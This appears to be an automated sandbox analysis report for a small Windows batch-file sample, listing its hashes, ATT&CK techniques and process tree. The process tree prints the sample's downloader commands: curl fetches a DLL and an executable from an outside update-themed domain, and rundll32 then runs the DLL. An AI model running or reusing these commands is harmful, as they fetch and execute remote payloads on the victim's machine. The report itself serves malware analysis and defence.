3b3bd81232f517ba6d65c7838c205b301b0f27572fcfef9e5b86dd30a1d55a0d

Analysis

max time kernel
148s
max time network
126s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
22/07/2026, 16:07

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General

Target
3b3bd81232f517ba6d65c7838c205b301b0f27572fcfef9e5b86dd30a1d55a0d.bat
Size 326B
Sample260722-tkxccacp6t
SHA256 3b3bd81232f517ba6d65c7838c205b301b0f27572fcfef9e5b86dd30a1d55a0d
MD5 acaf01f83da439915027c3e2e900c8dd
SHA1 2861b4e463fa89e05f2d7d629fae5140cef49843
SHA512 dc33e9b7e2dde66a3793955899221513e1f7b156801f1cc56eb48ad5cbf2b8c4facf8ad33c5bd63e4ec607e95e8b909f4bc280aaca4e29f07883879ec97a3e61
TLSH
T15EE0CDB3F03BC420D23138684F06555FB81B448B1F895E56B0E101E650435994A6B67D
MD5 SHA1 SHA512 TLSH

Score

3^/10

discovery execution

Malware Config

Signatures

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3204	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3992	PING.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3992	PING.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3204 wrote to memory of 1060	3204	cmd.exe	90
PID 3204 wrote to memory of 4840	3204	cmd.exe	91
PID 3204 wrote to memory of 2824	3204	cmd.exe	92
PID 3204 wrote to memory of 3992	3204	cmd.exe	93

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\3b3bd81232f517ba6d65c7838c205b301b0f27572fcfef9e5b86dd30a1d55a0d.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3204
- C:\Windows\system32\curl.exe
  curl -o 02.dll https://upd5.pro/update/02.dll
  2⤵
  PID:1060
- C:\Windows\system32\rundll32.exe
  rundll32.exe 02.dll,checkit
  2⤵
  PID:4840
- C:\Windows\system32\curl.exe
  curl -o qd_x86.exe https://upd5.pro/update/qd_x86.exe
  2⤵
  PID:2824
- C:\Windows\system32\PING.EXE
  ping -n 5 localhost
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:3992

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

T1018

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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